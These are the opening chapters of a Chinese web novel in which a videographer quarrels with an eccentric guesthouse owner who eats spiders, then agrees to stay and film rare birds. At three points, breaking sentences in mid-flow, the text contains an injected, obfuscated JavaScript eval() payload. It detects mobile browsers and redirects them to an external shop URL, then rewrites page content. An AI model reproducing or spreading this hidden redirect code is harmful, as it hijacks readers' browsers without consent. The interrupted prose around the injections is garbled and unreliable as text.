《谢大爷的养鸟日常》 1. 误入黑店? “唰——!” 一辆越野吉普呼啸路过,在不远处拐了个S型弯道,飘移过来停在某家民宿门口。 男人修长的腿从车内迈出,在前方轮胎上踢了踢,确定没有漏气,掀开车尾的后备箱,将一大摞物件搬了下来。 匾额的灯没有亮起,借着昏暗的手电筒光望去依稀可见四个大字,看上去有些老旧。 谢白颐锁了车,揉动眉心。 荒山野岭,寂静无声。好不容易有个落脚的地方,却连灯都没装。这般乌灯瞎火的,要不是有导航提醒,差点又开出去十几公里。 行李箱很重,车轮滚过台阶发出沉闷的声响,几架半人高的三脚架夹在臂弯处哐啷碰撞着。 他推开门,“吱呀”一声,迎面投射而来的光线将脚步钉在原地。 这么黑? 鬼屋? 几秒后,他倒退回门外。 “是这没错啊?”谢白颐拿着手机再三确认,嘀咕道,“怎么看上去像倒闭了似的。” 室内昏暗,只留了前台的一盏小灯发出微弱光芒。晚上10点正是夜生活的开始,这里却荒无声息,和沉睡的半夜不相上下。 怪诡异的。 “有人吗?”他壮起胆子喊。 回答只有一片穿堂风声。 山区比不得城里,没有灯红酒绿的喧嚣做陪衬,更听不到车水马龙经过时的哗啦声响。虫鸣是这里唯一的生机,伴着男人的呼吸加重了紧张和急促。 要不是订单上清清楚楚写着“如意民宿”四个大字,谢白颐真以为自己闯入了什么密室逃脱的现场。 “老板?我是GE005订单的租客,您在吗?” “啪。” 里头忽然有灯光亮起,一道恶声恶气的怒吼随着声脚步踢踏传来。 “杀千刀的!还在打老子的主意呢?看来是上次没揍够是吧?” 话音刚落,纤长高挑的身影从黑暗中走出,“砰”地给了谢白颐一脚。 这力道正中心口,打得人倒退好几步,半个身体砸摔在地面。 三脚架应声而落,行李箱咕噜噜地滚到了门口的沙发旁。 他下意识想要伸手去拉,却见脊柱尾部忽然窜上一股尖锐的疼痛,叫人忍不住双手撑地。 肺部仿佛被引爆了炸弹,疼痛和惊咳争先恐后地从胸腔里迸出。 拳风在耳边响起,他下意识想躲,却见对方忽地改变方向。不过转身的瞬间,髋关节遭了蛮力,下一秒,膝盖在地板上磕出声响, 谢白颐被打得毫无还手之力,刚想抬头看清来人模样,后背又挨了一记重拳。 妈的。 谁才是那个杀千刀? 他谢白颐一生阳光开朗但行好事,怎么就在这种穷山恶水的地方无缘无故挨了顿打? 他憋了一肚子气准备破口大骂,却被对方抢先一步骑了上来,双手被牢牢捆在身后。 “还不死心?今天再让你跑了,劳资我就不姓苏!” 谢白颐艰难转过头,一撮粉毛扫在脸上,又麻又痒。 冲天怒气忽然被打断。 粉毛?女的? 可是听声音看手劲儿,似乎又不太像。 “苏……老……” “板”字还没说出口,脚后跟又挨了一记。 谢白颐只觉得自己倒了天大的霉。 公司裁员,老板欠钱,N+1赔偿也没拿到手,好不容易寻了个野路子做自媒体有点起色,却在进山区拍纪录片的第一天,导航忽然抽了风。 按理说信号也不弱,但就是跟鬼打墙似地迷了路。此处前不着村后不着店,眼见着天色将晚,打开软件搜索,附近只有一家民宿。 他顾不得评分为0的危险信号,直行驱车前往,正以为柳暗花明又一村,却不曾想差点把小命交待在这家黑店里。 谢白颐实在凄惨,打又打不过,骂又不给机会,全身上下哪哪都疼,估摸着已经青紫一片。情急之下他仰起脖子,颤颤巍巍地大喊一声:“冤枉啊!我只是个过来住宿的!” 缚住双手的力道果然松了几分。 对方似乎很是错愕,俯下身来细细将他打量一番。 “咦,你不是他?” 咦你姥姥! 谢白颐刚想坐起身,想将这缺根筋的粉毛脸看清楚,忽觉两眼一黑。 意识消散前,他听到了对方惊慌失措地大喊:“喂!你别死啊!” 谢白颐醒来第一件事情,就是对这个世界报以冷笑。 是他看上去不够英姿飒爽了,还是189cm的身高不足以证明雄伟豪壮了。 至于把他当日本人来整? “对……对不起啊!” 门口处传来弱弱的道歉声。 谢白颐翻着白眼,循声望去。 那人背着光,有点看不清脸,微卷的粉色长发随意搭在身后,透着股慵懒的媚劲儿。身上一套剪裁时尚的衣服看上去值点小钱,黑色无袖设计新颖,露出一整截又白又细的胳膊。 要不是他现在躺在床上浑身剧痛,谢白颐怕是做梦都不会想到,这弯白到反光的纤细会差点把自己扭送到阎王殿。 怪煞风景的,他叹了一口气。 “苏老板,我包呢?” 对方端着跌打损伤的药酒而来,似乎没想到伤员醒来的第一句话不是检查身体、也不是讨要说法,而是找包。 苏老板默了默,放下药酒绷带指着床头道:“在那儿。” 这声音怎么,如此清澈温柔? 谢白颐有些疑惑,忍不住抬头将人看了两眼。 对不上号,刚才是谁在那儿杀猪似的狰狞大吼? 他忍住剧痛,搬过双肩登山包,把里面的东西一样样翻出来仔细检查。 “备用镜头15000,稳定器1699,航拍无人机13888……” 他每说一个数字,对方的脸色就白上一分,等将物资清点完毕时,那张如花似玉的脸早已变得比死人还难看。 “咕咚。” 咽口水的声音在寂静中格外明显。 吓到了? 谢白颐抬起礼貌的笑眼,调侃道:“苏大老板是想学孙二娘,把我做成人肉包子么?” 对方愣了下,缓慢摇头,煞有介事认真道:“人肉包子不好吃。” 谢白颐:“?” 感情要是好吃,你就把我剁了呗? 他冷笑一声,淡定地拿出手机,在对方无辜的凝望下径直拨通了电话:“喂?110吗?我在512国道上,遇到了一家黑店。” —— 粉色的长发美人披了件外套,一脸乖巧地坐在桌边,接受来自警方的调查。 “苏漾,23岁,毕业于京师首府大学生物系。”警察皱着眉,反反复复把身份证和营业执照看了好久,一脸古怪地说,“小伙子,高材生啊!不知道打人违法吗?” 谢白颐看着那张毕业证也有些惊讶,他怎么都无法将高材生这三个字,和眼前这位暴力男青年联系在一起。 京首大学,国内最高学府,文理双开花,是每一位高考学子的梦想摇篮。其生物专业位居全国第一世界前五,知名校友数不胜数。 怎么就培养出这么一个非主流的二愣子? 谢白颐承自己有些刻板印象了,毕竟在此之前,他以为所有科研人员都会像爱因斯坦那样不修边幅,只靠实力说话。 他的目光像摆钟似地,在美人和桌面的那堆证件中来回晃悠。 苏漾的神情有些局促,好几次都无意识地垂落耳边的粉发拨到脑后,讷讷道:“我没有打人,只是捆住手脚不让他动。” 不提还好,一提起来,谢白颐的四肢都在隐隐作痛。 他在旁边露出发红的手腕,戳向自己的心口凉凉提醒:“这儿还青着呢!需要我脱衣服陈列证据吗?” 苏漾的眼神瑟缩了回去。 “我以为你是来杀我的……”他小声辩解道。 “杀你?” 谢白颐和110出勤人员同时出声。 “对,这附近来了个精神病,隔三差五就拿刀上门捅我。”苏漾叹了口气,撸起袖子,露出横在雪白小臂的缝针口子。 真凶残。 谢白颐默默评价。 警察见状,严肃地板起脸训斥:“下次再遇到这种情况,第一时间不是打架斗殴而是报警,听见没!” 苏漾嘴皮子一动,说:“报了,你们说我没监控没证据。” 谢白颐神色一凝。 没监控? 果然是黑店! 内心呼啸而过的羊驼再也控制不住,涌动成毫不留情的开口打断:“我看你也挺神经病的,被人追杀这么多次,还敢自己一个人在这种地方开民宿。” 苏漾侧眼将人望着,欲言又止。 谢白颐不甘示弱,直直对视过去。 半晌,对方认了输:“你误会了,不是一个人。” “什么?”谢白颐没听清。 “不是一个人。” 苏漾撤回视线,整个人看上去有些局促,几乎要把头发挠炸。 民宿生意太差,十天半个月也来不了一个顾客。打杂的小伙伴和厨师都是兼职,眼前这个不靠谱的大老板以为今天和往常一样没生意,就懒得叫他们来上班。 “……” 谢白颐听完解释,气笑了:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240429|197706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那你大晚上的不开灯,乌漆嘛黑的吓唬谁呢?不知道的还以为进鬼屋了!” 苏漾尴尬地看了谢白颐一眼:“我以为没生意,提前睡下了。” 小伙子还挺养生。 警察也觉得奇怪:“你就没想过收拾收拾,进城里找个班上?” “学生物的,毕业即失业,哪有班上?对吧?”谢白颐凉凉瞥了大美人一眼,代替回答道。 那双纯粹无辜的大眼睛眨了眨,配合着小鸡啄米似的点头,比当代男大学生还清澈。 警方犯了难:“两位是想调解还是诉讼?” 谢白颐平白无故挨了满身拳头,心中自然堵着口气,毫不怜香惜玉地道:“调解可以,前提是我要拿到相应赔偿。” 苏漾明显惊呆了,以手撑桌盯着他:“大哥,我都穷得揭不开锅了,哪有钱赔偿!” 谢白颐毫不客气呛了回去:“你有没有钱关我什么事?我平白无故挨了你一顿揍,医药费还得自己掏呗?” 苏漾“我”了好几声想不出话,咬住唇皱起眉心,拧巴又纠结。 不得不说,美人做什么表情都是好看的。 谢白颐好整以暇地看着对方,给紧绷的心情放个假。 想看,爱看,多看。 他就这么静静欣赏着,一点儿也不着急。 过了许久,对方才重新开口道:“医药费我暂时赔不起,但你在我这住的话,免除所有租金和吃喝费用,这样总能抵消吧?” 租金全免?饮食全包? 谢白颐笑出声:“苏老板不是穷得揭不开锅了吗?医药费都赔不起,怎么还有钱包吃包住?” 苏漾听不懂,满眼疑惑将人看着。 谢白颐好心提醒道:“你要不打开订单看一下,我要在这里留宿多久呢?” 苏漾紧忙掏出手机,一顿胡乱点戳后缓缓睁大了眼。 “三个月?”他失声大叫。 谢白颐云淡风轻地翘起二郎腿。 苏漾犹自不敢置信,翻来覆去确认好几遍:“你来这鸟不拉屎的破地方待三个月?流放来了?” “你管我来干嘛?”谢白颐笑意不达眼底,“我的条件就这么简单,要么你赔医药费,不赔就按你说的来。苏老板,二选一的题目,对于你这种高材生而言,没这么难吧?” 苏漾犹豫了半晌,最终狠心一咬牙:“行!我包了!” 两个人被警方带回了局子,签字画押。 谢白颐倚在车边,见那粉色的身影耷拉着头走来,掐灭了手上烟头。 他看着那份盖了指纹的文件,上书标题为《打架斗殴调解协议书》,意味不明地笑了声:“我都没还手,就被你带了这么个罪名。苏大老板要不好人做到底,赔我点名誉损失费如何?” 苏漾不答,拉开车门坐进副驾驶,满脸颓废。 谢白颐直接看笑。 “别丧气了大美人!好好想想怎么承担我这笔费用吧!” 他捡了漏,心情舒畅,带动浑身的血都热了起来。微凉的晚风从窗外吹进,也能没让燥气降下半分。 反观苏大老板,兀自把衣服紧了又紧,整个身体蜷缩一团。 “冷啊?”谢白颐有些意外。 对方闷闷地发出一道微弱声音,以示回应。 谢白颐拉上车窗,打开了通风系统。 他的驾驶技术很好,即便是崎岖的泥路,车轮压上去也是稳稳当当的。苏漾心不在焉,翦水似的明眸望着玻璃窗怔怔出神,叫人看不出来情绪。 “有饭吃吗?” 两人饥肠辘辘的响声很是明显,谢白颐看了眼车载屏幕,上面的时间显示为凌晨三点。 苏漾闻言眼神微瞬,似乎有些不自在:“给你下个面成吗?” 谢白颐目不转睛看着导航,上扬的语调里透着几分玩世不恭:“面哪儿够吃啊!不会做饭?” 苏漾被他笑得面热,嘴角微抽:“会,但你肯定吃不惯。” 这么笃定? “小看谁呢?我走南闯北那么多年,没有忌口。” 他眼睛紧盯着前方,生怕半路窜出来一只珍稀动物让他牢底坐穿,自然也未曾留意到苏漾的表情变得有些古怪。 “是么?” 美人像个木偶似地不为所动,保持着看向窗外的姿势,眼中拧起纠结。 离民宿还有将近三十多公里的山路,车内气氛尴尬且沉闷,叫谢白颐有点儿受不住。 他随手打开音响,激昂的摇滚乐在耳边淌开,载着越野驱动的声音,打破夜的寂静。 就在谢白颐以为苏漾再也不会说话时,对方忽然悄悄来了句。 “虫子竹筒饭,你吃吗?” 2. 招你惹你了? 谢白颐一个急刹停在原地。 “你说啥?” 什么虫子?什么竹筒饭? “不合适吗?” 对方冥思苦想半天,又难产似地蹦出一句:“或者,香辣烤蜘蛛怎样?” 谢白颐更震惊了。 正值半夜三更,行车之人最怕遇见脏东西。此处荒郊野岭寒风阵阵,树荫林立如同拔地而起的鬼,在车灯的照耀下,投射出森森阴影。 他倒吸一口冷气,侧过身,不寒而栗。 “苏大老板,你是人是鬼?” 被点名的人眨眨眼,似乎不太能明白话中意思。 那双大眼睛灵动又明亮,大半夜地闪得谢白颐心里发毛。他打开车头大灯迅速下车,拉门解安全带一气呵成,将人拽了出来。 脚下的黑色骤然抻长,两道影子就这么明晃晃地印在乡间小路上。 不是鬼? 谢白颐的表情有些扭曲了:“你既然是人,就不能来点儿正常的食材?” 苏漾欲言又止,笑得勉强:“所以我说你肯定吃不惯。” “……” 感情那份笃定是用在这上头了对吧? 谢白颐盯着苏漾,想从那张美人脸上找出半分恶作剧的嬉皮笑脸。但是对方的表情过分纯良,更像是某种不谙世事的生物。 他顿时泄了气,收起试探坐回原位,将车钥匙一拧,带动引擎呼啦作响。 “蜘蛛多不下饭,你这是什么唬人的饮食习惯?” 副驾驶上的人眸光清澈,眨动间像繁星在闪:“都是我们这里的特色菜啊!” 话音刚落,吉普的车轮再次在地面划出刺耳的声响。 谢白颐要怀疑人生了。 “你当我白痴呢?”他用看怪物似的眼神看着对方说,“虫子和蜘蛛算哪门子的特色菜?” “算当地的。”苏漾煞有介事地答。 被当做白痴的人登时发出一声嗤笑。 “我们县的。”见他不信,这人又立刻改口。 冷漠的眼神从金丝镜片传来,紧紧盯着,一言不发。 苏漾有点噎住:“那,我们村的?” 吉普车行使出大段距离,方向盘猛地在手中一打,掉头转弯。 “喂!你去哪儿?”身边传来苏漾的惊呼。 “去警局。”谢白颐凉凉道,“营业执照已经无法证明你不是黑店了,苏大老板,跟我回去自首吧!” —— 县城,警局,调解室。 “我吃个虫子招你惹你了!” “谁家正常人拿虫子蜘蛛当食物?” “是你自己说走南闯北没忌口的!” “那也不代表能吃烤蜘蛛啊!” 被迫拉着值早班的警察同志从椅子上睁眼,揉着眉心叹了口气。 这俩活爹。 墙上钟表的指针已经从凌晨四点走到了早上六点,他都睡醒一觉了,这俩问题男士似乎还在争论饭菜问题。 有这功夫,早餐都赶上了。 “谢同志。”警察懒得激怒刀疤客,只能转头看向那位更显斯文的金边眼镜男,“此事虽然难评,但也只能归于苏先生的个人习惯,无法作为对方开黑店的证据!” 谢白颐扶了下金丝镜框,目露凶光,明显还没从吵架的情绪中转换过来。 “你们要什么证据?” 警察摊手:“监控,或者说其他有关证明。” 监控? 有个鬼的监控! 但凡安个监控,他俩至于扯那么久? 吵架的两个人心知肚明,登时熄了火。 调解室终于安静下来。 警察困着眼,左看看右看看,不由分说将和解协议书往桌上一拍。 “签字。” 谢白颐气笑了。 短短12个小时,两份和解协议书。 这辈子可算有了。 县城的早晨格外宁静,漫步在街道上,能窥见远方日照金山的盛景。谢白颐没把拍摄装备带在身上,随手掏出手机打开4K模式,一边走一边录像。 “来这里干嘛?”跟在身后的人明显心情不好,说出来的话又变成了初见时恶声恶气的语调。 谢白颐闻言脚步微停,扭头看着音画严重不符的大美人。 这人是百灵鸟吗?嗓音一会儿甜一会儿糙的。 “吃早餐啊!”他以双臂作支架,推着手机径直向前走,“我被你那几声蜘蛛虫子害得两顿没饭吃,还不允许出来觅食了?” 身后的人脚步顿停。 谢白颐沉浸在录像中,对此异常浑然不觉。脚步稳稳当当地穿过斑马线,金山在镜头里逐渐放大,最后定格于耀眼的顶尖。 结束键按下,他满意地检查着片段。不经意间回头,看见了被远远地甩在对面的粉色身影。 叫嚣一路的冲动忽地灭了。 谢白颐曾无数次想把这个科学怪人扔下车不管,却终究被名为理智的缰绳牢牢扼住。 而今人各一方,眼前的斑马线划出泾渭分明的楚河汉界,他完全可以借这机会一刀两断,从此分道扬镳。 只可惜,热心市民谢先生偏就长了颗良心。 他了回去,口中问道:“干嘛?走不动了?” 怪人的面色看起来有些古怪:“你也会用觅食这个词?” 前方风景再好,谢白颐已经无暇欣赏了。 他活该热心。 谢白颐有个臭习惯,心情不好就删素材。他当下把几个废片扔进回收站,举起手机打开名词释义:“觅食是生僻词吗?申请专利不能用了还是咋地?” 对方呆滞了一下,缓缓摇头:“当我没说。” 县城的早餐并不算丰富,即便近几年晋升成国内小有名气的打卡城市,也不妨碍最基础的包子豆浆油条满街跑。偶尔有几家店面能推出当地独有的春卷,都已经被推上排行榜,算作网红门店了。 谢白颐领着人选了家环境好的,坐下来的瞬间便熟练迫害说:“这一顿,得苏大老板请客。” 下一秒,对方陡然拔高的声音刺进颅内:“凭什么我请?” 谢白颐本想控诉对方的蜘蛛虫子倒胃口,但念头一转,忽地想到某个承诺。 他倒了杯柠檬水,推到对面,顺理成章地点出:“刚才是谁说包吃包住的? 苏漾果然不说话了。 春卷卖相很好,金黄酥脆在盘子里摆出花的形状,但凡放去S市,都能卖上个百八十块一根。 十二块钱一碟六卷,实在太良心了。 谢白颐夹起脆生生的一条在人眼前晃悠:“看到没,这种有芦笋有山菌,和其他地方不一样的才叫特色美食!” “嗯。” 苏漾眼都不抬地敷衍,夹着春卷小鸡啄米似地,一点点认真往里送。 他的头发长,垂落肩上容易沾染豆浆,便用一只手捋到耳后,搭在修长白皙的脖颈,慢条斯理的进食速度堪称优雅。阳光来得好,刚巧打在发丝上,光晕将低眉顺眼衬出美好,落在镜头里惊为天人。 谢白颐身为专业扛镜头的人,不知拍过多少明星,但当这一幕出现在手机屏幕中时,仍旧不可避免地将职业素养被抛之脑后,看呆了。 他有点好奇:“你长成这样,就没有星探挖你吗?” 对方懒懒地掀了眼皮子:“有。” 谢白颐更不懂了:“那你为什么不进娱乐圈?学霸人设现在吃香又挣钱,不比守着破民宿穷到揭不开锅好吗?” 苏漾一听立刻抬头瞪眼:“说谁民宿破呢!” “好好好,我说错。”谢白颐抬手制止争吵,“那你不跟着钱走,总得有个原因吧?” 对方放下春卷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240430|197706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,盯着豆浆发呆。 “他进娱乐圈,死了。” 谢白颐瞬间警觉:“谁?” 苏漾眼神躲闪:“你不认识。” 他怔愣片刻,忽地生出同病相怜的感慨。 比起被辞职还拿不到N+1的自己,坐在他对面的这位青年似乎更惨一些。 短短半天,拢共没说过几句话。他却像看影片似的,从开头便揭开了对方崎岖的前半生。 在意的人死了,自己被追杀受伤,独居守着偌大的民宿开不了张,好不容易等来个租客,却要提心吊胆是不是精神病发癫,结果自卫打错人被拉去局子里审讯两趟。 谢白颐心中纵有再多的愤怒与不平,也在此刻忽地烟消云散。 他掏出手机,在对方惊愕的目光下扫码付款一气呵成,随后端起豆浆,喝出股梁山好汉的气势。 “这顿我请。” 有了前两次的教训,苏大老板回到民宿后,第一时间便将两个兼职的小伙伴喊了过来。 “你真有厨师啊?”谢白颐检查完装备,看见提着新鲜瓜果蔬菜进门的人,惊讶地道。 苏漾在拆箱,闻言随意应付了声。 10个摄像头很快被安装在各个角落。 谢白颐闲着没事儿干,本想插手帮个忙,但见到对方比自己还要麻利的手脚,识趣地收回了话。 算了,少添点乱罢。 他翘着手靠在房门边,似笑非笑:“想不到,你们学生物的也会对电子安装这么了解。” 苏漾从扶梯爬下,连上手机wifi调试镜头,用闲话家常般的语气说:“这有什么难的?” 谢白颐不置可否。 他掏出手机,连上无线网。 WiFi名字很是清澈,字里行间都透露着与主人一样的单纯。 [叮咚,今天也要如意哦-5G,WiFi已连接] 起这个名字的人微微皱眉:“你那什么手机?还自带语音播报,生怕别人不知道你蹭网似的。” “蹭啊!免费的就要大大方方地蹭!”谢白颐晃了晃手中的设备,“你不觉得有些人起的WiFi名字,读出来特别有意思吗?” 苏漾调试好监控,随手点了确认收货,蛮中肯地评价道:“你能活到今天,真是意外。” 厨房里恰到好处地传来切菜声。 谢白颐先是一怔,忽然想到了什么,眼角眉梢得了意,扬声吩咐道:“做点人能吃的啊!” 半死不活的话从旁边传来:“你想吃什么直接点,这里不流行omakase。” “哟!还会洋文?”他调笑了一句,有些好奇:“话说,虫子竹筒饭和烧烤蜘蛛,真的不是捉弄我的说辞?” 苏漾闻言转过头,刚想说些什么,忽然瞳孔一缩。 谢白颐兀自不觉,调笑说:“不说话,装高冷?” 对方死死地盯着他的身后。 嚯!瞧瞧这眼神,真凶。 “不开玩笑了。”谢白颐耸肩,笑得无赖又随性,“我尊重一切奇怪的癖好。” “蜘蛛。”对方忽然说了两个字。 声音太低,谢白颐这一次是真的没听清。 “什么?” “蜘蛛。”对方缓缓抬手,指向自己身后,“在你屋里,现成的。” 谢白颐登时眼睛瞪大,僵硬着脖子扭头。 “卧槽——!!!” 一只半扇门大的蜘蛛赫然横在床头墙上。 “这什么鬼地方!蜘蛛都能成精了吗!” 他一蹦三尺高,直接跳出去几米,双手撑在过道的墙壁,狼狈地往天花板上爬。 却见苏漾面不改色,抄起拖鞋往门上一拍。 继而在满室的惨叫声中淡定地拎起蜘蛛腿,走到后厨,往砧板上一扔。 “烤了,记得多撒点辣椒。” 3. 下饭 谢白颐离餐桌有八丈远,眼神警惕,心有余悸。 “说好的建国之后动物不许成精呢?” 只见人慢条斯理地掰下一条外酥里嫩的蜘蛛腿,不点而红的唇凑近,“嘎巴”声响,咬得酥脆。 “这不是没成呢?” 谢白颐毛骨悚然。 “你也是精怪。”他说道。 苏漾闻言微微侧目:“你面前摆着的东西不能吃么?” 谢白颐的目光落在满桌的酱肘子烧板鸭清炒油麦菜芦笋三鲜上,咽了口唾沫。 能吃,当然能吃。 换作从前他能下三碗白米饭。 可是现在…… 他叹了口气:“苏大美人,能麻烦请你在吃饭的时候避着我点儿吗?” 苏漾斜睨:“这是我的民宿,我爱在哪儿在哪儿,怎么还带反客为主的?” 谢白颐胃口全无,干脆翘起二郎腿靠在椅背上:“咋地,看你吃蜘蛛下饭?” “你可以不看。”修长的指捏起剩下半只蜘蛛一吞入腹,“客房里又不是没给配桌子,你搬进去吃好了。” 谢白颐气笑了。 谁家好人在卧室吃中午饭? 闲的? “我发现你还真是个刺头。”他锐评。 “你也不差,装逼上天。”对方回怼。 饭菜摆在眼前一动未动,筷子无数次犹豫抬起,最终都被放回原位。 闭上眼是活着的半扇门蜘蛛,睁开眼是蜘蛛被吃剩下的残骸。胃里的翻江倒海久压不下,谢白颐忍了又忍,最终还是一个箭步冲出门外,大声干呕起来。 他和苏漾,八字不合! 雪山下氧气稀薄,连呼吸都是奢侈的,高原人心态平和大抵从这而来。人的本能会教育他们珍爱生命,平常稍微多说几句都能感到浑身不得劲儿,更别提谢白颐这种一宿没睡、吵了好几架、腹内空空外加惊吓过度的。 因此刚缓过劲来,他就感到不对了。 眼前在阵阵发黑,呼吸逐渐变得急促。慢慢地,眼前的景物旋转成了个万花筒,将视线带入了深邃虚无的漩涡。 “你醒了?” 意识再次回笼后,身边很快传来了温柔的问候。 谢白颐一听这声就头疼,氧气管插在鼻孔里,刚好把睁开半条缝的眼睛怼闭上。 “我知道你醒了。” 那道声音似乎经过了特殊处理,故意说得轻缓舒慢,还带了隐隐约约的乖。 跟那声杀千刀的简直天壤之别。 一口带了甜滋滋的凉水抵到唇边,伴着清甜愧疚的道歉入耳,360°无死角地包裹着装睡的人。 “对不起啊!是我不好,以后再也不会了。” 谢白颐终究装睡不下,睁开眼将那口水含了,哼笑道:“你克老子,还讲什么以后?” 对方闻言脸色一白:“我不懂你的意思。” 谢白颐懒得废话,直接拔了氧气罐,下床蹬鞋开始打包。 事已至此,苏漾还有什么不明白的。 “你别走!”他小跑两步到门口,张臂拦下,“你刚恢复,不能随便乱跑,很危险的!” 谢白颐掀起冷眼:“待你这里更危险。” “我错了!”苏漾急得道歉脱口而出,好言直劝,“你缺氧刚醒,身体机能还处于最弱的状态,这时候出门,不要命了!” 谢白颐懒得周旋,将人一把推开,拖着行李箱就往外走。 他不顾再三劝阻,蛮着力道打开后备箱,将行礼和拍摄装备全部码放好,“砰”地关上车门。 引擎轰然作响,车轱辘开始松动。 吉普刚开出去没几厘米,就见那粉色的身影陡然撞上车头,硬生生把他逼停原地。 “妈的!”谢白颐愣了两下,不禁大骂出声。 遇到苏漾,他这辈子算是玩完了! —— 县城,医院。 谢白颐坐在陪护病床上,冷眼看着对方:“碰瓷是吧?” 苏漾的粉发有些脏了,搭在肩头一缕缕地显得落魄。他透明白皙的手指微微缩紧,低着头不敢说话。 谢白颐冷笑道:“我差点又被你害进局子里了,难道不用解释一下吗?” “对不起。”床上的人咬着唇,忍着颤抖,“我只知道你不能离开。” 谢白颐根本不吃楚楚可怜这一套,金丝边框冷光闪过,硬得他高挑如刻的鼻梁不近人情。 “怎么?这年头住个民宿都敢强买强卖了?” “不是的!”对方紧忙抬眼,目光含水,早没了先前的刺头模样,“我是担心你。” 谢白颐嗤之以鼻,懒得搭理。 见人不说话,苏漾忽地慌了,拔了点滴就要下床。 谢白颐淡定坐在原地,听着刺耳的警报声慢慢拉长。 下一秒,乱动的人便被按了回去。 护士满脸严肃,开口将两个人分别责备几句,确认过点滴状态后才姗姗离开。 苏漾全程安静地待着,半句话都不敢说。 空气陷入长久的沉默。 也不知道是不是欠的,谢白颐还是没忍住话,嘲讽说:“挨骂了吧?也不知道谁更不怕死。” 空气里立刻传来吸鼻子的声音。 “......” 他收回自己不吃楚楚可怜的鬼话。 只听对面噼里啪啦地掉着眼泪说:“你都不知道自己有多吓人,那么危险还敢开车,我又不想你死。” “所以你就以命换命?”谢白颐冷不丁打断。 苏漾抬起泪痕未干的脸,受伤落魄的眼神就这样毫无防备地撞入那双冷淡的灰眸。 那傻不愣登的表情像是一把干柴,骤然扔进旺盛的怒火中,烧得呛人。 “你有脑子吗?我离开这个民宿后生死与你无关,出天大的事儿也不用上升到刑法。现在好了,你碰瓷把我命拉回来,然后转头送进局子里是吧?” “对……” “对什么不起!”谢白颐骂道,“劳资这条烂命算栽你身上了。” 冒冒失失的粉毛只留院观察了三天便回到民宿。 一波三折的命运着实折腾人,谢白颐进门就把背包往地上一扔,身体砸进前台的沙发里。 “借来用用。”他是半步都走不动了,伸出尔康手迷糊着说,“别吵我,要补觉。” 撕日历哗啦声顿了几下,过了片刻,耳边迎来缓慢的脚步声。 谢白颐刚想发脾气,忽觉身上一暖。 是被子。 不错,这小子吃了教训,总算做了回人。 悬着的心彻底沉下,很快意识便陷入了昏沉。 这一觉睡得酣然,再起来时,星辰已缀满密林。 “几点了?”谢白颐换了鞋,找到民宿的主人。 苏漾回头,露出个温和的笑意:“快10点,我留了饭菜,你要吃吗?” 谢白颐一听到饭菜两个字就忍不住头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240431|197706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皮发麻。 他刚想制止,却见对方讨好似地捧着四季豆炒鲮鱼凑到他鼻子底下:“能吃的。” 眼巴巴地,配上那张惊天动地的美人脸,拱得谢白颐心尖一软。 他听见自己说了声:“行。” 苏漾拿了两套碗筷,面对面坐下。 谢白颐往厨房张望两眼:“你朋友呢?” “回去了。”苏漾说,“他只过来下厨,不住这儿。” 谢白颐没再说话,如狼似虎地干了几碗白饭,才让胃疼得到缓解。 他放下筷子,迎面撞上了直勾勾的眼神。 “怎么了?” 苏漾收回夹空气的筷子,试探说:“你……喜欢这几道菜?” “还不错。”谢白颐中肯评价道,“以后别做你那些吓死人不偿命的烧烤了。” 苏漾忙不迭地点头,生怕谢白颐又跑了。 他洗了碗筷擦干净手,从前台的柜子里抽出一份打印好的地图。 “你要的鸟类栖息地图,我给你制作出来标注好了。” 谢白颐看着那份比景点示意图还要清晰的规划,有些意外,挑眉道:“哟!还挺专业?” 苏漾笑得又软又乖。 早在医院时,苏大老板为了挽留住唯一的客人,铆足劲儿地毛遂自荐。 包吃包住已经拴不住谢白颐的心了,他眼珠子一转,打起了拍摄器材的注意。 应届生的试探并不算高明,很快就被谢白颐这个职场老油条猜出了目的。 他也不揭穿,毕竟有这样的一个大美人费尽心思地讨好自己,他喜欢看,也乐得享受。 一来二去的交谈中,还真给对方逮到了空子。 “我可以做向导!”听到谢白颐要拍摄当地珍惜鸟类宣传片,那双慌乱的眸子瞬间亮起。 他走到跟前缓缓蹲下,安顺地伏在膝边,仰头时满是纯粹:“你不要走好不好?这里所有的鸟类栖息地我都清楚,我带你去,可以吗?” 谢白颐看着苏漾,忍住了摸头的冲动。 不得不说,对这番话真撬动了压在他心坎上的土。 来此之前万事具备,唯一令人发愁的,就是本次拍摄工作没有熟人带路。 这不,熟人来了。 暖光台灯做得颇为文艺,温和亮黄的光线瞬间把人拉入到学术氛围中。 谢白颐打开手机地图,将地点一一标注出来,有些惊讶:“你这民宿选址不错啊?这么多个观测点都能步行到达。” 